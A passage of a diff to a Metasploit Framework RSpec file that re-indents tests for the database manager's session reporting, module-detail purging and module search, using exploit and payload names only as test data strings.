b/spec/lib/msf/db_manager_spec.rb @@ -12,1819 +12,1819 @@ require 'msf/core' describe Msf::DBManager do - include_context 'Msf::DBManager' - - subject do - db_manager - end - - it_should_behave_like 'Msf::DBManager::Migration' - it_should_behave_like 'Msf::DBManager::ImportMsfXml' - - context '#initialize_metasploit_data_models' do - def initialize_metasploit_data_models - db_manager.initialize_metasploit_data_models - end - - it 'should not add duplicate paths to ActiveRecord::Migrator.migrations_paths' do - initialize_metasploit_data_models - - expect { - initialize_metasploit_data_models - }.to_not change { - ActiveRecord::Migrator.migrations_paths.length - } - - ActiveRecord::Migrator.migrations_paths.uniq.should == ActiveRecord::Migrator.migrations_paths - end - end - - context '#purge_all_module_details' do - def purge_all_module_details - db_manager.purge_all_module_details - end - - let(:migrated) do - false - end - - let(:module_detail_count) do - 2 - end - - let!(:module_details) do - FactoryGirl.create_list( - :mdm_module_detail, - module_detail_count - ) - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - let(:modules_caching) do - false - end - - before(:each) do - db_manager.stub(:modules_caching => modules_caching) - end - - context 'with modules_caching' do - let(:modules_caching) do - true - end - - it 'should not destroy Mdm::Module::Details' do - expect { - purge_all_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - - context 'without modules_caching' do - it 'should create a connection' do - # in purge_all_module_details - # in after(:each) - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original - - purge_all_module_details - end - - it 'should destroy all Mdm::Module::Details' do - expect { - purge_all_module_details - }.to change(Mdm::Module::Detail, :count).by(-module_detail_count) - end - end - end - - context 'without migrated' do - it 'should not destroy Mdm::Module::Details' do - expect { - purge_all_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context '#report_session' do - let(:options) do - {} - end - - subject(:report_session) do - db_manager.report_session(options) - end - - context 'with active' do - let(:active) do - true - end + include_context 'Msf::DBManager' + + subject do + db_manager + end + + it_should_behave_like 'Msf::DBManager::Migration' + it_should_behave_like 'Msf::DBManager::ImportMsfXml' + + context '#initialize_metasploit_data_models' do + def initialize_metasploit_data_models + db_manager.initialize_metasploit_data_models + end + + it 'should not add duplicate paths to ActiveRecord::Migrator.migrations_paths' do + initialize_metasploit_data_models + + expect { + initialize_metasploit_data_models + }.to_not change { + ActiveRecord::Migrator.migrations_paths.length + } + + ActiveRecord::Migrator.migrations_paths.uniq.should == ActiveRecord::Migrator.migrations_paths + end + end + + context '#purge_all_module_details' do + def purge_all_module_details + db_manager.purge_all_module_details + end + + let(:migrated) do + false + end + + let(:module_detail_count) do + 2 + end + + let!(:module_details) do + FactoryGirl.create_list( + :mdm_module_detail, + module_detail_count + ) + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let(:modules_caching) do + false + end + + before(:each) do + db_manager.stub(:modules_caching => modules_caching) + end + + context 'with modules_caching' do + let(:modules_caching) do + true + end + + it 'should not destroy Mdm::Module::Details' do + expect { + purge_all_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + + context 'without modules_caching' do + it 'should create a connection' do + # in purge_all_module_details + # in after(:each) + ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original + + purge_all_module_details + end + + it 'should destroy all Mdm::Module::Details' do + expect { + purge_all_module_details + }.to change(Mdm::Module::Detail, :count).by(-module_detail_count) + end + end + end + + context 'without migrated' do + it 'should not destroy Mdm::Module::Details' do + expect { + purge_all_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context '#report_session' do + let(:options) do + {} + end + + subject(:report_session) do + db_manager.report_session(options) + end + + context 'with active' do + let(:active) do + true + end it 'should create connection' do - # 1st time from with_established_connection - # 2nd time from report_session - ActiveRecord::Base.connection_pool.should_receive(:with_connection).exactly(2).times + # 1st time from with_established_connection + # 2nd time from report_session + ActiveRecord::Base.connection_pool.should_receive(:with_connection).exactly(2).times - report_session + report_session end - context 'with :session' do - before(:each) do - options[:session] = session - end - - context 'with Msf::Session' do - let(:exploit_datastore) do - Msf::ModuleDataStore.new(module_instance).tap do |datastore| - datastore['ParentModule'] = parent_module_fullname - - remote_port = rand(2 ** 16 - 1) - datastore['RPORT'] = remote_port - end - end - - let(:host) do - FactoryGirl.create(:mdm_host, :workspace => session_workspace) - end - - let(:module_instance) do - name = 'multi/handler' - - double( - 'Msf::Module', - :fullname => "exploit/#{name}", - :framework => framework, - :name => name - ) - end - - let(:options_workspace) do - FactoryGirl.create(:mdm_workspace) - end - - let(:parent_module_fullname) do - "exploit/#{parent_module_name}" - end - - let(:parent_module_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:parent_path) do - Metasploit::Framework.root.join('modules').to_path - end - - let(:session) do - session_class.new.tap do |session| - session.exploit_datastore = exploit_datastore - session.info = 'Info' - session.platform = 'Platform' - session.session_host = host.address - session.sid = rand(100) - session.type = 'Session Type' - session.via_exploit = 'exploit/multi/handler' - session.via_payload = 'payload/single/windows/metsvc_bind_tcp' - session.workspace = session_workspace.name - end - end - - let(:session_class) do - Class.new do - include Msf::Session - - attr_accessor :datastore - attr_accessor :platform - attr_accessor :type - attr_accessor :via_exploit - attr_accessor :via_payload - end - end - - let(:session_workspace) do - FactoryGirl.create(:mdm_workspace) - end - - before(:each) do - reference_name = 'multi/handler' - path = File.join(parent_path, 'exploits', reference_name) - - # fake cache data for exploit/multi/handler so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => 'exploit', - } - } - ) - - FactoryGirl.create( - :mdm_module_detail, - :fullname => parent_module_fullname, - :name => parent_module_name - ) - end - - context 'with :workspace' do - before(:each) do - options[:workspace] = options_workspace - end - - it 'should not find workspace from session' do - db_manager.should_not_receive(:find_workspace) - - report_session - end - end - - context 'without :workspace' do - it 'should find workspace from session' do - db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original - - report_session - end + context 'with :session' do + before(:each) do + options[:session] = session + end + + context 'with Msf::Session' do + let(:exploit_datastore) do + Msf::ModuleDataStore.new(module_instance).tap do |datastore| + datastore['ParentModule'] = parent_module_fullname + + remote_port = rand(2 ** 16 - 1) + datastore['RPORT'] = remote_port + end + end + + let(:host) do + FactoryGirl.create(:mdm_host, :workspace => session_workspace) + end + + let(:module_instance) do + name = 'multi/handler' + + double( + 'Msf::Module', + :fullname => "exploit/#{name}", + :framework => framework, + :name => name + ) + end + + let(:options_workspace) do + FactoryGirl.create(:mdm_workspace) + end + + let(:parent_module_fullname) do + "exploit/#{parent_module_name}" + end + + let(:parent_module_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:parent_path) do + Metasploit::Framework.root.join('modules').to_path + end + + let(:session) do + session_class.new.tap do |session| + session.exploit_datastore = exploit_datastore + session.info = 'Info' + session.platform = 'Platform' + session.session_host = host.address + session.sid = rand(100) + session.type = 'Session Type' + session.via_exploit = 'exploit/multi/handler' + session.via_payload = 'payload/single/windows/metsvc_bind_tcp' + session.workspace = session_workspace.name + end + end + + let(:session_class) do + Class.new do + include Msf::Session + + attr_accessor :datastore + attr_accessor :platform + attr_accessor :type + attr_accessor :via_exploit + attr_accessor :via_payload + end + end + + let(:session_workspace) do + FactoryGirl.create(:mdm_workspace) + end + + before(:each) do + reference_name = 'multi/handler' + path = File.join(parent_path, 'exploits', reference_name) + + # fake cache data for exploit/multi/handler so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => 'exploit', + } + } + ) + + FactoryGirl.create( + :mdm_module_detail, + :fullname => parent_module_fullname, + :name => parent_module_name + ) + end + + context 'with :workspace' do + before(:each) do + options[:workspace] = options_workspace + end + + it 'should not find workspace from session' do + db_manager.should_not_receive(:find_workspace) + + report_session + end + end + + context 'without :workspace' do + it 'should find workspace from session' do + db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original + + report_session + end it 'should pass session.workspace to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :workspace => session_workspace - ) - ).and_return(host) + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :workspace => session_workspace + ) + ).and_return(host) + + report_session + end + end + + context 'with workspace from either :workspace or session' do + it 'should pass normalized host from session as :host to #find_or_create_host' do + normalized_host = double('Normalized Host') + db_manager.stub(:normalize_host).with(session).and_return(normalized_host) + # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. + db_manager.stub(:report_vuln) + + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :host => normalized_host + ) + ).and_return(host) + + report_session + end + + context 'with session responds to arch' do + let(:arch) do + FactoryGirl.generate :mdm_host_arch + end + + before(:each) do + session.stub(:arch => arch) + end + + it 'should pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :arch => arch + ) + ).and_call_original + + report_session + end + end + + context 'without session responds to arch' do + it 'should not pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_excluding( + :arch + ) + ).and_call_original + + report_session + end + end + + it 'should create an Mdm::Session' do + expect { + report_session + }.to change(Mdm::Session, :count).by(1) + end + + it { should be_an Mdm::Session } + + it 'should set session.db_record to created Mdm::Session' do + mdm_session = report_session + + session.db_record.should == mdm_session + end + + context 'with session.via_exploit' do + it 'should create session.via_exploit module' do + framework.modules.should_receive(:create).with(session.via_exploit).and_call_original + + report_session + end + + it 'should create Mdm::Vuln' do + expect { + report_session + }.to change(Mdm::Vuln, :count).by(1) + end + + context 'created Mdm::Vuln' do + let(:mdm_session) do + Mdm::Session.last + end + + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:vuln) do + Mdm::Vuln.last + end + + its(:host) { should == Mdm::Host.last } + its(:refs) { should == [] } + its(:exploited_at) { should be_within(1.second).of(Time.now.utc) } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.exploit_datastore['ParentModule']" do + its(:info) { should == "Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}" } + its(:name) { should == parent_module_name } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + before(:each) do + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + its(:info) { should == "Exploited by #{session.via_exploit} to create Session #{mdm_session.id}"} + its(:name) { should == reference_name } + end + + context 'with RPORT' do + let(:rport) do + # use service.port instead of having service use rport so + # that service is forced to exist before call to + # report_service, which happens right after using rport in + # outer context's before(:each) + service.port + end + + let(:service) do + FactoryGirl.create( + :mdm_service, + :host => host + ) + end + + its(:service) { should == service } + end + + context 'without RPORT' do + its(:service) { should be_nil } + end + end + + context 'created Mdm::ExploitAttempt' do + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:exploit_attempt) do + Mdm::ExploitAttempt.last + end + + its(:attempted_at) { should be_within(1.second).of(Time.now.utc) } + # @todo https://www.pivotaltracker.com/story/show/48362615 + its(:session_id) { should == Mdm::Session.last.id } + its(:exploited) { should == true } + # @todo https://www.pivotaltracker.com/story/show/48362615 + its(:vuln_id) { should == Mdm::Vuln.last.id } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.datastore['ParentModule']" do + its(:module) { should == parent_module_fullname } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + session.via_exploit = parent_module_fullname + end + + its(:module) { should == session.via_exploit } + end + end + end + + context 'returned Mdm::Session' do + before(:each) do + Timecop.freeze + end + + after(:each) do + Timecop.return + end + + subject(:mdm_session) do + report_session + end + + # + # Ensure session has attributes present so its on mdm_session are + # not just comparing nils. + # + + it 'should have session.info present' do + session.info.should be_present + end + + it 'should have session.sid present' do + session.sid.should be_present + end + + it 'should have session.platform present' do + session.platform.should be_present + end + + it 'should have session.type present' do + session.type.should be_present + end + + it 'should have session.via_exploit present' do + session.via_exploit.should be_present + end + + it 'should have session.via_payload present' do + session.via_exploit.should be_present + end + + its(:datastore) { should == session.exploit_datastore.to_h } + its(:desc) { should == session.info } + its(:host_id) { should == Mdm::Host.last.id } + its(:last_seen) { should be_within(1.second).of(Time.now.utc) } + its(:local_id) { should == session.sid } + its(:opened_at) { should be_within(1.second).of(Time.now.utc) } + its(:platform) { should == session.platform } + its(:routes) { should == [] } + its(:stype) { should == session.type } + its(:via_payload) { should == session.via_payload } + + context "with session.via_exploit 'exploit/multi/handler'" do + it "should have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should == 'exploit/multi/handler' + end + + context "with session.exploit_datastore['ParentModule']" do + it "should have session.exploit_datastore['ParentModule']" do + session.exploit_datastore['ParentModule'].should_not be_nil + end + + its(:via_exploit) { should == parent_module_fullname } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + reference_name = 'windows/smb/ms08_067_netapi' + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + it "should not have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should_not == 'exploit/multi/handler' + end + + its(:via_exploit) { should == session.via_exploit } + end + end + end + end + + context 'without Msf::Session' do + let(:session) do + double('Not a Msf::Session') + end + + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError, "Invalid :session, expected Msf::Session") + end + end + end + + context 'without :session' do + context 'with :host' do + before(:each) do + options[:host] = host + end - report_session + context 'with Mdm::Host' do + let(:host) do + FactoryGirl.create(:mdm_host) end - end - - context 'with workspace from either :workspace or session' do - it 'should pass normalized host from session as :host to #find_or_create_host' do - normalized_host = double('Normalized Host') - db_manager.stub(:normalize_host).with(session).and_return(normalized_host) - # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. - db_manager.stub(:report_vuln) - - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :host => normalized_host - ) - ).and_return(host) - - report_session - end - - context 'with session responds to arch' do - let(:arch) do - FactoryGirl.generate :mdm_host_arch - end - - before(:each) do - session.stub(:arch => arch) - end - - it 'should pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :arch => arch - ) - ).and_call_original - - report_session - end - end - - context 'without session responds to arch' do - it 'should not pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_excluding( - :arch - ) - ).and_call_original - - report_session - end - end - - it 'should create an Mdm::Session' do - expect { - report_session - }.to change(Mdm::Session, :count).by(1) - end - - it { should be_an Mdm::Session } - - it 'should set session.db_record to created Mdm::Session' do - mdm_session = report_session - - session.db_record.should == mdm_session - end - - context 'with session.via_exploit' do - it 'should create session.via_exploit module' do - framework.modules.should_receive(:create).with(session.via_exploit).and_call_original - - report_session - end - - it 'should create Mdm::Vuln' do - expect { - report_session - }.to change(Mdm::Vuln, :count).by(1) - end - - context 'created Mdm::Vuln' do - let(:mdm_session) do - Mdm::Session.last - end - - let(:rport) do - nil - end - - before(:each) do - Timecop.freeze - - session.exploit_datastore['RPORT'] = rport - - report_session - end - - after(:each) do - Timecop.return - end - - subject(:vuln) do - Mdm::Vuln.last - end - - its(:host) { should == Mdm::Host.last } - its(:refs) { should == [] } - its(:exploited_at) { should be_within(1.second).of(Time.now.utc) } - - context "with session.via_exploit 'exploit/multi/handler'" do - context "with session.exploit_datastore['ParentModule']" do - its(:info) { should == "Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}" } - its(:name) { should == parent_module_name } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - - before(:each) do - path = File.join( - parent_path, - 'exploits', - "#{reference_name}.rb" - ) - type = 'exploit' - - # fake cache data for ParentModule so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type, - } - } - ) - - session.via_exploit = "#{type}/#{reference_name}" - end - - its(:info) { should == "Exploited by #{session.via_exploit} to create Session #{mdm_session.id}"} - its(:name) { should == reference_name } - end - - context 'with RPORT' do - let(:rport) do - # use service.port instead of having service use rport so - # that service is forced to exist before call to - # report_service, which happens right after using rport in - # outer context's before(:each) - service.port - end - - let(:service) do - FactoryGirl.create( - :mdm_service, - :host => host - ) - end - - its(:service) { should == service } - end - - context 'without RPORT' do - its(:service) { should be_nil } - end - end - - context 'created Mdm::ExploitAttempt' do - let(:rport) do - nil - end - - before(:each) do - Timecop.freeze - - session.exploit_datastore['RPORT'] = rport - - report_session - end - - after(:each) do - Timecop.return - end - - subject(:exploit_attempt) do - Mdm::ExploitAttempt.last - end - - its(:attempted_at) { should be_within(1.second).of(Time.now.utc) } - # @todo https://www.pivotaltracker.com/story/show/48362615 - its(:session_id) { should == Mdm::Session.last.id } - its(:exploited) { should == true } - # @todo https://www.pivotaltracker.com/story/show/48362615 - its(:vuln_id) { should == Mdm::Vuln.last.id } - - context "with session.via_exploit 'exploit/multi/handler'" do - context "with session.datastore['ParentModule']" do - its(:module) { should == parent_module_fullname } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - before(:each) do - session.via_exploit = parent_module_fullname - end - - its(:module) { should == session.via_exploit } - end - end - end - - context 'returned Mdm::Session' do - before(:each) do - Timecop.freeze - end - - after(:each) do - Timecop.return - end - - subject(:mdm_session) do - report_session - end - - # - # Ensure session has attributes present so its on mdm_session are - # not just comparing nils. - # - - it 'should have session.info present' do - session.info.should be_present - end - - it 'should have session.sid present' do - session.sid.should be_present - end - - it 'should have session.platform present' do - session.platform.should be_present - end - - it 'should have session.type present' do - session.type.should be_present - end - - it 'should have session.via_exploit present' do - session.via_exploit.should be_present - end - - it 'should have session.via_payload present' do - session.via_exploit.should be_present - end - - its(:datastore) { should == session.exploit_datastore.to_h } - its(:desc) { should == session.info } - its(:host_id) { should == Mdm::Host.last.id } - its(:last_seen) { should be_within(1.second).of(Time.now.utc) } - its(:local_id) { should == session.sid } - its(:opened_at) { should be_within(1.second).of(Time.now.utc) } - its(:platform) { should == session.platform } - its(:routes) { should == [] } - its(:stype) { should == session.type } - its(:via_payload) { should == session.via_payload } - - context "with session.via_exploit 'exploit/multi/handler'" do - it "should have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should == 'exploit/multi/handler' - end - - context "with session.exploit_datastore['ParentModule']" do - it "should have session.exploit_datastore['ParentModule']" do - session.exploit_datastore['ParentModule'].should_not be_nil - end - - its(:via_exploit) { should == parent_module_fullname } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - before(:each) do - reference_name = 'windows/smb/ms08_067_netapi' - path = File.join( - parent_path, - 'exploits', - "#{reference_name}.rb" - ) - type = 'exploit' - - # fake cache data for ParentModule so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type, - } - } - ) - - session.via_exploit = "#{type}/#{reference_name}" - end - - it "should not have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should_not == 'exploit/multi/handler' - end - - its(:via_exploit) { should == session.via_exploit } - end - end - end - end - - context 'without Msf::Session' do - let(:session) do - double('Not a Msf::Session') - end - - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError, "Invalid :session, expected Msf::Session") - end - end - end - - context 'without :session' do - context 'with :host' do - before(:each) do - options[:host] = host - end - - context 'with Mdm::Host' do - let(:host) do - FactoryGirl.create(:mdm_host) - end - - context 'created Mdm::Session' do - let(:closed_at) do - nil - end - - let(:close_reason) do - 'Closed because...' - end - - let(:description) do - 'Session Description' - end - - let(:exploit_full_name) do - 'exploit/windows/smb/ms08_067_netapi' - end - - let(:last_seen) do - nil - end - - let(:opened_at) do - Time.now.utc - 5.minutes - end - - let(:payload_full_name) do - 'payload/singles/windows/metsvc_reverse_tcp' - end - - let(:platform) do - 'Host Platform' - end - - let(:routes) do - nil - end - - let(:session_type) do - 'Session Type' - end - - before(:each) do - options[:closed_at] = closed_at - options[:close_reason] = close_reason - options[:desc] = description - options[:last_seen] = last_seen - options[:opened_at] = opened_at - options[:platform] = platform - options[:routes] = routes - options[:stype] = session_type - options[:via_payload] = payload_full_name - options[:via_exploit] = exploit_full_name - end - - subject(:mdm_session) do - report_session - end - - its(:close_reason) { should == close_reason } - its(:desc) { should == description } - its(:host) { should == host } - its(:platform) { should == platform } - its(:stype) { should == session_type } - its(:via_exploit) { should == exploit_full_name } - its(:via_payload) { should == payload_full_name } - - context 'with :last_seen' do - let(:last_seen) do - opened_at - end - - its(:last_seen) { should == last_seen } - end - - context 'with :closed_at' do - let(:closed_at) do - opened_at + 1.minute - end - - its(:closed_at) { should == closed_at } - end - - context 'without :closed_at' do - its(:closed_at) { should == nil } - end - - context 'without :last_seen' do - context 'with :closed_at' do - let(:closed_at) do - opened_at + 1.minute - end - - its(:last_seen) { should == closed_at } - end - - context 'without :closed_at' do - its(:last_seen) { should be_nil } - end - end - - context 'with :routes' do - let(:routes) do - FactoryGirl.build_list( - :mdm_route, - 1, - :session => nil - ) - end - - its(:routes) { should == routes } - end - - context 'without :routes' do - its(:routes) { should == [] } - end - end - end - - context 'without Mdm::Host' do - let(:host) do - '192.168.0.1' - end - - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError, "Invalid :host, expected Host object") - end - end - end - - context 'without :host' do - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError) - end - end - end - end - - context 'without active' do - let(:active) do - false - end - - it { should be_nil } - - it 'should not create a connection' do - # 1st time for with_established_connection - ActiveRecord::Base.connection_pool.should_receive(:with_connection).once - - report_session - end - end - end - - context '#remove_module_details' do - def remove_module_details - db_manager.remove_module_details(mtype, refname) - end - - let(:migrated) do - false - end - - let(:mtype) do - FactoryGirl.generate :mdm_module_detail_mtype - end - - let(:refname) do - FactoryGirl.generate :mdm_module_detail_refname - end - - let!(:module_detail) do - FactoryGirl.create( - :mdm_module_detail - ) - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - let!(:module_detail) do - FactoryGirl.create(:mdm_module_detail) - end - - context 'with matching Mdm::Module::Detail' do - let(:mtype) do - module_detail.mtype - end - - let(:refname) do - module_detail.refname - end - - it 'should destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to change(Mdm::Module::Detail, :count).by(-1) - end - end - - context 'without matching Mdm::Module::Detail' do - it 'should not destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context 'without migrated' do - it 'should not destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context '#search_modules' do + + context 'created Mdm::Session' do + let(:closed_at) do + nil + end + + let(:close_reason) do + 'Closed because...' + end + + let(:description) do + 'Session Description' + end + + let(:exploit_full_name) do + 'exploit/windows/smb/ms08_067_netapi' + end + + let(:last_seen) do + nil + end + + let(:opened_at) do + Time.now.utc - 5.minutes + end + + let(:payload_full_name) do + 'payload/singles/windows/metsvc_reverse_tcp' + end + + let(:platform) do + 'Host Platform' + end + + let(:routes) do + nil + end + + let(:session_type) do + 'Session Type' + end + + before(:each) do + options[:closed_at] = closed_at + options[:close_reason] = close_reason + options[:desc] = description + options[:last_seen] = last_seen + options[:opened_at] = opened_at + options[:platform] = platform + options[:routes] = routes + options[:stype] = session_type + options[:via_payload] = payload_full_name + options[:via_exploit] = exploit_full_name + end + + subject(:mdm_session) do + report_session + end + + its(:close_reason) { should == close_reason } + its(:desc) { should == description } + its(:host) { should == host } + its(:platform) { should == platform } + its(:stype) { should == session_type } + its(:via_exploit) { should == exploit_full_name } + its(:via_payload) { should == payload_full_name } + + context 'with :last_seen' do + let(:last_seen) do + opened_at + end + + its(:last_seen) { should == last_seen } + end + + context 'with :closed_at' do + let(:closed_at) do + opened_at + 1.minute + end + + its(:closed_at) { should == closed_at } + end + + context 'without :closed_at' do + its(:closed_at) { should == nil } + end + + context 'without :last_seen' do + context 'with :closed_at' do + let(:closed_at) do + opened_at + 1.minute + end + + its(:last_seen) { should == closed_at } + end + + context 'without :closed_at' do + its(:last_seen) { should be_nil } + end + end + + context 'with :routes' do + let(:routes) do + FactoryGirl.build_list( + :mdm_route, + 1, + :session => nil + ) + end + + its(:routes) { should == routes } + end + + context 'without :routes' do + its(:routes) { should == [] } + end + end + end + + context 'without Mdm::Host' do + let(:host) do + '192.168.0.1' + end + + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError, "Invalid :host, expected Host object") + end + end + end + + context 'without :host' do + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError) + end + end + end + end + + context 'without active' do + let(:active) do + false + end + + it { should be_nil } + + it 'should not create a connection' do + # 1st time for with_established_connection + ActiveRecord::Base.connection_pool.should_receive(:with_connection).once + + report_session + end + end + end + + context '#remove_module_details' do + def remove_module_details + db_manager.remove_module_details(mtype, refname) + end + + let(:migrated) do + false + end + + let(:mtype) do + FactoryGirl.generate :mdm_module_detail_mtype + end + + let(:refname) do + FactoryGirl.generate :mdm_module_detail_refname + end + + let!(:module_detail) do + FactoryGirl.create( + :mdm_module_detail + ) + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let!(:module_detail) do + FactoryGirl.create(:mdm_module_detail) + end + + context 'with matching Mdm::Module::Detail' do + let(:mtype) do + module_detail.mtype + end + + let(:refname) do + module_detail.refname + end + + it 'should destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to change(Mdm::Module::Detail, :count).by(-1) + end + end + + context 'without matching Mdm::Module::Detail' do + it 'should not destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context 'without migrated' do + it 'should not destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context '#search_modules' do subject(:search_modules) do db_manager.search_modules(search_string) end - let(:module_details) do - search_modules.to_a - end - - context 'with app keyword' do - let(:search_string) do - "app:#{app}" - end - - before(:each) do - Mdm::Module::Detail::STANCES.each do |stance| - FactoryGirl.create(:mdm_module_detail, :stance => stance) - end - end - - context 'with client' do - let(:app) do - 'client' - end - - it "should match Mdm::Module::Detail#stance 'passive'" do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.stance == 'passive' - }.should be_true - end - end - - context 'with server' do - let(:app) do - 'server' - end - - it "should match Mdm::Module::Detail#stance 'aggressive'" do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.stance == 'aggressive' - }.should be_true - end - end - end - - context 'with author keyword' do - let(:search_string) do + let(:module_details) do + search_modules.to_a + end + + context 'with app keyword' do + let(:search_string) do + "app:#{app}" + end + + before(:each) do + Mdm::Module::Detail::STANCES.each do |stance| + FactoryGirl.create(:mdm_module_detail, :stance => stance) + end + end + + context 'with client' do + let(:app) do + 'client' + end + + it "should match Mdm::Module::Detail#stance 'passive'" do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.stance == 'passive' + }.should be_true + end + end + + context 'with server' do + let(:app) do + 'server' + end + + it "should match Mdm::Module::Detail#stance 'aggressive'" do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.stance == 'aggressive' + }.should be_true + end + end + end + + context 'with author keyword' do + let(:search_string) do # us inspect so strings with spaces are quoted correctly - "author:#{author}" - end - - let!(:module_authors) do - FactoryGirl.create_list(:mdm_module_author, 2) - end - - let(:target_module_author) do - module_authors.first - end - - context 'with Mdm::Module::Author#email' do - let(:author) do - target_module_author.email - end - - it 'should match Mdm::Module::Author#email' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.email == target_module_author.email - } - }.should be_true - end - end - - context 'with Mdm::Module::Author#name' do + "author:#{author}" + end + + let!(:module_authors) do + FactoryGirl.create_list(:mdm_module_author, 2) + end + + let(:target_module_author) do + module_authors.first + end + + context 'with Mdm::Module::Author#email' do + let(:author) do + target_module_author.email + end + + it 'should match Mdm::Module::Author#email' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.email == target_module_author.email + } + }.should be_true + end + end + + context 'with Mdm::Module::Author#name' do let(:author) do # use inspect to quote space in name target_module_author.name.inspect end - it 'should match Mdm::Module::Author#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Author#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.name == target_module_author.name - } - }.should be_true - end - end - end + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == target_module_author.name + } + }.should be_true + end + end + end - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :bid - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :cve - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :edb + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :bid + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :cve + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', 